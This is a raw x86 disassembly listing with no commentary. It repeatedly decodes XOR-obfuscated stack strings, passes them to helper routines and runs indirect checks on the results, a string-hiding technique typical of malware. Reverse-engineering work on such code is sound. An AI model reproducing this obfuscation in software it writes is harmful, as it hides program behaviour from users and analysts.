mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x538], eax
mov dword [ebp - 0x534], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x540]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x540]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xbe0]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x540], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x62
lea eax, [ebp - 0xbe0]
cmp dword [ebp - 0xbcc], 0xf
push 0
cmova eax, dword [ebp - 0xbe0]
push eax
call edi
test eax, eax
je 0x40fb99
mov dword [ebp - 0x20], 0xbaf7a6c9
mov dword [ebp - 0x1c], 0x8d2e9fb6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7d0], eax
mov dword [ebp - 0x7cc], ecx
mov dword [ebp - 0x20], 0x1ed4deba
mov dword [ebp - 0x1c], 0x47f82a9f
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7c8], eax
mov dword [ebp - 0x7c4], ecx
mov dword [ebp - 0x20], 0xb83d06d3
mov dword [ebp - 0x1c], 0xc0cfa37e
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7c0], eax
mov dword [ebp - 0x7bc], ecx
mov dword [ebp - 0x20], 0xae7946e8
mov dword [ebp - 0x1c], 0x89c15b7c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7b8], eax
mov dword [ebp - 0x7b4], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0xd94f69a7
mov dword [ebp - 0x1c], 0xc0cfc619
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x20], 0xae7946e8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x1c], 0x89c15b7c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x7d0]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x7d0], xmm1
movaps xmm1, xmmword [ebp - 0x7c0]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x7d0]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0xf80]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x7c0], xmm1
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0x63
mov dword [ebp - 0x20], 0x9bcbb3d4
mov dword [ebp - 0x1c], 0xf901ae9a
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x550], ecx
mov dword [ebp - 0x54c], edx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x548], eax
mov dword [ebp - 0x544], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x550]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x550]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x550], xmm1
call fcn.004423e1
add esp, 4
lea ecx, [ebp - 0xdd0]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0xf80]
call fcn.00402df0
cmp dword [ebp - 0xdbc], 0xf
lea ecx, [ebp - 0xdd0]
cmova ecx, dword [ebp - 0xdd0]
call fcn.004e6ca0
test al, al
je 0x40fb7b
sub esp, 0x18
lea eax, [ebp - 0xbe0]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x66
sub esp, 0x18
lea eax, [ebp - 0xdd0]
mov dword [ebp - 0x74], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x67
mov byte [ebp - 4], 0x65
xor cl, cl
call fcn.004dff00
add esp, 0x30
test eax, eax
jne 0x40fb7b
mov byte [ebp - 0x31], 1
jmp 0x40fb8a
push ecx
lea ecx, [ebp - 0xbe0]
call fcn.004e6770
add esp, 4
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0xdd0]
call fcn.00402df0
mov dword [ebp - 0x20], 0x8ed8aac9
lea edx, [ebp - 0x260]
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x560], eax
mov dword [ebp - 0x55c], ecx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x558], eax
mov dword [ebp - 0x554], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x560]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x560]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xc70]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x560], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x68
lea eax, [ebp - 0xc70]
cmp dword [ebp - 0xc5c], 0xf
push 0
cmova eax, dword [ebp - 0xc70]
push eax
call edi
test eax, eax
je 0x40fe35
mov dword [ebp - 0x20], 0x8ed8aac9
mov dword [ebp - 0x1c], 0xc970ca87
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x570], eax
mov dword [ebp - 0x56c], ecx
mov dword [ebp - 0x20], 0x7dbb92d7
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x568], eax
mov dword [ebp - 0x564], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x570]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x570]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xf98]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x570], xmm1
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0x69
mov dword [ebp - 0x20], 0x9bcbb3d4
mov dword [ebp - 0x1c], 0xf901ae9a
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x580], ecx
mov dword [ebp - 0x57c], edx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x580]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x580]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x580], xmm1
call fcn.004423e1
add esp, 4
lea ecx, [ebp - 0xe30]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0xf98]
call fcn.00402df0
cmp dword [ebp - 0xe1c], 0xf
lea ecx, [ebp - 0xe30]
cmova ecx, dword [ebp - 0xe30]
call fcn.004e6ca0
test al, al
je 0x40fe17
sub esp, 0x18
lea eax, [ebp - 0xc70]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x6c
sub esp, 0x18
lea eax, [ebp - 0xe30]
mov dword [ebp - 0x74], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x6d
mov byte [ebp - 4], 0x6b
xor cl, cl
call fcn.004dff00
add esp, 0x30
test eax, eax
jne 0x40fe17
mov byte [ebp - 0x31], 1
jmp 0x40fe26
push ecx
lea ecx, [ebp - 0xc70]
call fcn.004e6770
add esp, 4
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0xe30]
call fcn.00402df0
mov dword [ebp - 0x20], 0xb8f2b0c9
lea edx, [ebp - 0x260]
mov dword [ebp - 0x1c], 0xf92c9bb5
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], ecx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x588], eax
mov dword [ebp - 0x584], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x590]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x590]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x148]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x590], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x6e
lea eax, [ebp - 0x148]
cmp dword [ebp - 0x134], 0xf
push 0
cmova eax, dword [ebp - 0x148]
push eax
call edi
test eax, eax
je 0x410e56
mov dword [ebp - 0x20], 0xb8f2b0c9
mov dword [ebp - 0x1c], 0xf92c9bb5
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5a0], eax
mov dword [ebp - 0x59c], ecx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x598], eax
mov dword [ebp - 0x594], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x5a0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x5a0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xfb0]
xorps xmm1, xmmword [ebp - 0x30]
push eax
mov byte [ebp - 0x32], 0
movaps xmmword [ebp - 0x5a0], xmm1
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0x6f
mov dword [ebp - 0x20], 0x9bcbb3d4
mov dword [ebp - 0x1c], 0xf901ae9a
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x5b0], ecx
mov dword [ebp - 0x5ac], edx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5a8], eax
mov dword [ebp - 0x5a4], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x5b0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x5b0]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x5b0], xmm1
call fcn.004423e1
add esp, 4
lea ecx, [ebp - 0x6e8]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0xfb0]
call fcn.00402df0
cmp dword [ebp - 0x6d4], 0xf
lea ecx, [ebp - 0x6e8]
cmova ecx, dword [ebp - 0x6e8]
call fcn.004e6ca0
test al, al
je 0x410e38
mov dword [ebp - 0x20], 0xbcf4afc9
lea edx, [ebp - 0x6e8]
mov dword [ebp - 0x1c], 0xaa6096ba
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x2dc], ecx
mov dword [ebp - 0x20], 0x1cc9fd92
mov dword [ebp - 0x1c], 0x14d82399
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x2e0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xe48]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x2e0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0xe48]
cmp dword [ebp - 0xe34], 0xf
cmova ecx, dword [ebp - 0xe48]
call fcn.004e6ca0
test al, al
je 0x4101f7
mov dword [ebp - 0x20], 0xbcf4afc9
lea edx, [ebp - 0x148]
mov dword [ebp - 0x1c], 0xaa6096ba
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x5bc], ecx
mov dword [ebp - 0x20], 0x1cc9fd92
mov dword [ebp - 0x1c], 0x14d82399
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5b4], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x5c0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x5c0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xfc8]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x5c0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x73
or dword [ebp - 0x38], 2
cmp dword [eax + 0x14], 0xf
jbe 0x4101ea
mov eax, dword [eax]
push 0
push eax
call edi
mov byte [ebp - 0x33], 1
test eax, eax
jne 0x4101fb
mov byte [ebp - 0x33], 0
mov dword [ebp - 4], 0x72
mov eax, dword [ebp - 0x38]
test al, 2
je 0x41021a
and eax, 0xfffffffd
lea ecx, [ebp - 0xfc8]
mov dword [ebp - 0x38], eax
call fcn.00402df0
cmp byte [ebp - 0x33], 0
je 0x4102fa
mov dword [ebp - 0x20], 0xbcf4afc9
lea edx, [ebp - 0x148]
mov dword [ebp - 0x1c], 0xaa6096ba
sub esp, 0x18
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x5cc], ecx
mov dword [ebp - 0x20], 0x1cc9fd92
mov dword [ebp - 0x1c], 0x14d82399
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5c8], eax
mov dword [ebp - 0x5c4], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x5d0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x5d0]
mov dword [ebp - 0x24], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x30]
mov dword [ebp - 0x3c], esp
push eax
movaps xmmword [ebp - 0x5d0], xmm1
call fcn.0041ab20
mov byte [ebp - 4], 0x74
sub esp, 0x14
lea eax, [ebp - 0xe48]
mov dword [ebp - 0x74], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x75
mov byte [ebp - 4], 0x72
xor cl, cl
call fcn.004dff00
add esp, 0x30
test eax, eax
jne 0x4102fa
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 1
mov dword [ebp - 0x20], 0xacfeb0c9
lea edx, [ebp - 0x6e8]
mov dword [ebp - 0x1c], 0x972f93a8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7f0], eax
mov dword [ebp - 0x7ec], ecx
mov dword [ebp - 0x20], 0x12cfc1c6
mov dword [ebp - 0x1c], 0x71bf278c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7e8], eax
mov dword [ebp - 0x7e4], ecx
mov dword [ebp - 0x20], 0xd94f69a7
mov dword [ebp - 0x1c], 0xc0cfc619
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7e0], eax
mov dword [ebp - 0x7dc], ecx
mov dword [ebp - 0x20], 0xae7946e8
mov dword [ebp - 0x1c], 0x89c15b7c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7d8], eax
mov dword [ebp - 0x7d4], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0xd94f69a7
mov dword [ebp - 0x1c], 0xc0cfc619
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x20], 0xae7946e8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x1c], 0x89c15b7c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x7f0]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x7f0], xmm1
movaps xmm1, xmmword [ebp - 0x7e0]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x7f0]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0xe60]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x7e0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0xe60]
cmp dword [ebp - 0xe4c], 0xf
cmova ecx, dword [ebp - 0xe60]
call fcn.004e6ca0
test al, al
je 0x41058a
mov dword [ebp - 0x20], 0xacfeb0c9
lea edx, [ebp - 0x148]
mov dword [ebp - 0x1c], 0x972f93a8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7b0], eax
mov dword [ebp - 0x7ac], ecx
mov dword [ebp - 0x20], 0x12cfc1c6
mov dword [ebp - 0x1c], 0x71bf278c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7a8], eax
mov dword [ebp - 0x7a4], ecx
mov dword [ebp - 0x20], 0xd94f69a7
mov dword [ebp - 0x1c], 0xc0cfc619
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x7a0], eax
mov dword [ebp - 0x79c], ecx
mov dword [ebp - 0x20], 0xae7946e8
mov dword [ebp - 0x1c], 0x89c15b7c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x798], eax
mov dword [ebp - 0x794], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0xd94f69a7
mov dword [ebp - 0x1c], 0xc0cfc619
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x20], 0xae7946e8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x1c], 0x89c15b7c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x7b0]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x7b0], xmm1
movaps xmm1, xmmword [ebp - 0x7a0]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x7b0]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0xfe0]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x7a0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x77
or dword [ebp - 0x38], 4
cmp dword [eax + 0x14], 0xf
jbe 0x41057d
mov eax, dword [eax]
push 0
push eax
call edi
mov byte [ebp - 0x33], 1
test eax, eax
jne 0x41058e
mov byte [ebp - 0x33], 0
mov dword [ebp - 4], 0x76
mov eax, dword [ebp - 0x38]
test al, 4
je 0x4105ad
and eax, 0xfffffffb
lea ecx, [ebp - 0xfe0]
mov dword [ebp - 0x38], eax
call fcn.00402df0
cmp byte [ebp - 0x33], 0
je 0x410713
mov dword [ebp - 0x20], 0xacfeb0c9
lea edx, [ebp - 0x148]
mov dword [ebp - 0x1c], 0x972f93a8
sub esp, 0x18
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x790], eax
mov dword [ebp - 0x78c], ecx
mov dword [ebp - 0x20], 0x12cfc1c6
mov dword [ebp - 0x1c], 0x71bf278c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x788], eax
mov dword [ebp - 0x784], ecx
mov dword [ebp - 0x20], 0xd94f69a7
mov dword [ebp - 0x1c], 0xc0cfc619
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x780], eax
mov dword [ebp - 0x77c], ecx
mov dword [ebp - 0x20], 0xae7946e8
mov dword [ebp - 0x1c], 0x89c15b7c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x778], eax
mov dword [ebp - 0x774], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0xd94f69a7
mov dword [ebp - 0x1c], 0xc0cfc619
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x20], 0xae7946e8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x1c], 0x89c15b7c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x790]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x790], xmm1
movaps xmm1, xmmword [ebp - 0x780]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x790]
mov dword [ebp - 0x44], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x50]
mov dword [ebp - 0x3c], esp
push eax
movaps xmmword [ebp - 0x780], xmm1
call fcn.0041ab20
mov byte [ebp - 4], 0x78
sub esp, 0x14
lea eax, [ebp - 0xe60]
mov dword [ebp - 0x74], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x79
mov byte [ebp - 4], 0x76
xor cl, cl
call fcn.004dff00
add esp, 0x30
test eax, eax
jne 0x410713
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 1
mov dword [ebp - 0x20], 0xb3ea90c9
lea edx, [ebp - 0x6e8]
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5e0], eax
mov dword [ebp - 0x5dc], ecx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5d8], eax
mov dword [ebp - 0x5d4], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x5e0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x5e0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xe78]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x5e0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x7a
lea ecx, [ebp - 0xe78]
cmp dword [ebp - 0xe64], 0xf
